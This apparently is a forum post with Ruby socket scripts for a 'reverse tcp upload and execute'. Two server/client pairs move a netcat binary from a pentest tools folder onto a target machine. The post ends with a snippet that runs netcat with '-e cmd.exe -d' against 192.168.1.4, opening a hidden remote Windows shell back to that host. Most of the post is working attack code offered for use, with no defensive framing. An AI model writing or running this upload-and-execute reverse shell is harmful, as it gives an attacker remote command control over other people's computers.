im going to show you a few examples on how to send files back and forth threw sockets with ruby... i have 4 scripts i would like to post, 2 server and 2 client scripts(templates)... the first examples could be a basic revers tcp upload and execute...
first example... always run the server first...
server.rb <==server sends client file==> client.rb
Code:
#server sends client file over socket
require 'socket'
server = TCPServer.open(2000)
loop {
Thread.start(server.accept) do |client|
#client.puts(Time.now.ctime)
file = open('/pentest/windows-binaries/tools/nc.exe', "rb")
fileContent = file.read
client.puts(fileContent)
client.close
end
}
now run the client
Code:
#client receive file from server
require 'socket'
host = '192.168.1.4'
port = 2000
sock = TCPSocket.open(host, port)
data = sock.read
destFile = File.open('/tmp/netcat.exe', 'wb')
destFile.print data
destFile.close
second example...
server.rb <==client sends file to server==> client.rb
Code:
#server receive a file from client
require 'socket'
server = TCPServer.open(2000)
loop {
Thread.start(server.accept) do |client|
#client.puts(Time.now.ctime)
data = client.read
destFile = File.open('/tmp/netcat.exe', 'wb')
destFile.print data
destFile.close
end
}
Code:
#client sends file to server
require 'socket'
host = '192.168.1.4'
port = 2000
sock = TCPSocket.open(host, port)
file = open('/pentest/windows-binaries/tools/nc.exe', "rb")
fileContent = file.read
sock.puts(fileContent)
sock.close
Here would be a simple execute function you could add to the client...
Code:
puts"executing nc"
z = Thread.new { system "C:/netcat.exe 192.168.1.4 100 -e cmd.exe -d" }
z.run
puts"end of script"